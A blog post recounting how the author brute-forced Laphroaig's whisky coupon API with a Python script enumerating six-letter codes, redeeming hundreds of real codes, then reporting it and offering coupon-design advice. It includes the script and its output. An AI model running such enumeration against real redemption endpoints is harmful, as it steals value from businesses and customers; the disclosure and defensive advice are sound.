I got a lovely bottle of Laphroaig single malt whisky for Christmas last year. The box included a coupon code that can be redeemed for points to spend in Laphroaig’s online shop. Great! I logged in to http://laphroaig.com and entered the details found on the included leaflet.
Entering the code into the website raised a couple immediate concerns.
- The code is 6 upper case letters with no numbers or punctuation.
- No captcha was requested.
Given that there is only ~300 million possibilities (assuming combination), I decided to write a quick python script in an attempt to determine how the website was preventing points from being programatically consumed.
I copied the redemption API request headers and used those to write a simple python script.
The script iterates sequentially over the upper case alphabet domain (e.g., AAAAAA, AAAAAB, AAAAAC … etc) and makes an API request to attempt to redeem a code for each possibility.
... for item in itertools.product(alphabet, repeat=6): urn = ''.join(item) print >> f, '... testing urn: ' + urn data['urn'] = urn r = requests.post('https://www.laphroaig.com/wp-admin/admin-ajax.php', data=data, headers=headers) json = r.json() if not json['error']: print >> f, '> found code: ' + urn
I thought this must be harmless enough. The API must do some rate limiting or something else to prevent this attack. Having written the script, I started it running and went and prepared a cup of tea before checking back on the progress. After getting back to my mac book 3 minutes later, I discovered the following output (truncated).
... testing urn: AAAAAA ... testing urn: AAAAAB ... testing urn: AAAAAC ... ... testing urn: AAAABA ... testing urn: AAAABB > VALID CODE: AAAABB ... testing urn: AAAABC > VALID CODE: AAAABC ... testing urn: AAAABD > VALID CODE: AAAABD ... testing urn: AAAABE > VALID CODE: AAAABE ... testing urn: AAAABF
** face palm **
I had successfully redeemed a number of codes. The first code being AAAABB and subsequent codes being in the same sequence.
In fact, in 3 minutes I had redeemed over £100 worth of points. Not only was the search space small (~300 million), but the allocation of the printed coupon codes was done sequentially! The API had no apparent throttling, bot checks or anything to prevent someone from walking the entire code domain and redeeming each value.
I stopped the script and looked at the damage. I had,
- Redeemed 100’s of codes (probably) already printed and inside whisky boxes in retailers.
- Given myself enough store credits to purchase well over £100 worth of products from Laphroaig’s online store.
Being a white hat, I reached out to Laphroaig support by email, twitter and messenger. I wanted them to revoke the codes that I redeemed and fix the issue by introducing a captcha to protect against bots.
I received no response by email or twitter. I eventually received a response from messenger but the response was scripted and did not follow up on the problem in any way.
So for those of you that have purchased a bottle of whisky and was not able to redeem the code included with the bottle… Apologies if I was the cause!! Please try reach out to Laphroaig to see if you are able to get a better response.
For fellow developers out there – do not make the same mistake. When designing an app that requires coupon system be sure to consider the following:
- Randomly allocate codes in the key space (without replacement).
- Ensure that the key space size is large.
- Use a captcha or similar to restrict automated redemption checks.